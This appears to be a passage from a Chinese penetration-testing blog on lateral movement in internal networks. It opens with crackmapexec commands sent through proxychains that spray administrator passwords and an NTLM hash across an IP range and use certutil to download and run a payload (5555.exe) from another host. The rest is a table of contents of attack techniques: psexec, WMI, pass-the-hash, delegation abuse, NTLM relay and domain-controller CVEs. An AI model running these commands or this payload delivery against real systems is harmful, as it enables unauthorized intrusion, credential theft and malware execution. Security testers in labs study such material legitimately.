proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ –local-auth -x “certutil -urlcache -split -f http://192.168.3.31/5555.exe 5555.exe & 5555.exe”

成功上线了好多呢！

后续的思路是利用上线的机器，获取密码凭证，再进行进一步的横向移动！在不断的横向移动中不断导出密码凭证。

proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -p ‘Admin12345’ -x “certutil -urlcache -split -f http://192.168.3.31/5555.exe 5555.exe & 5555.exe”

proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c --local-auth --users
#登陆成功后将其上面的用户进行展示

内网对抗-横向移动手法大全

原文首发在：先知社区

https://xz.aliyun.com/news/18020

域外用户

横向移动

基于口令凭据

IPC

建立IPC失败的原因：

impact套件

SMB

利用1 psexec

利用2 smbexec-impacket

利用3 cs插件

WMI

利用1 wmic

利用2 cscript

利用3 wmiexec-impacket

利用4 cs插件

DCOM

dcomexec-impacket

WinRM&WinRS

RDP

SharpRDP

PTH&PTT&PTK

PTH

PTT

基于漏洞

利用NTLM

利用历史遗留

利用加密类型

PTK

委派（基于配置）

非约束委派

利用思路1：诱使域管理员访问机器

利用思路2：结合打印机漏洞

利用思路3：结果PetitPotam

约束委派

利用思路1：使用机器账户的Hash值 | kekeo

利用思路2：使用机器账户的Hash值 | getST

基于资源的约束委派

利用思路1：利用域用户主机加入

利用思路2：Acount Operators组

利用思路3：CVE结合NTLMRelay

NTLM中继攻击

捕获

重放

Exchange服务

无凭据

1.暴力破解

2.漏洞利用

有凭据

1.漏洞利用

CVE-2020-17144

CVE-2020-0688

2.钓鱼攻击

域控系统提权-漏洞利用

CVE-2020-1472

CVE-2021-42287

CVE-2022-26923（ADCS攻击）

其它漏洞

CrackMapExec-密码喷射

近期文章

近期评论

归档

分类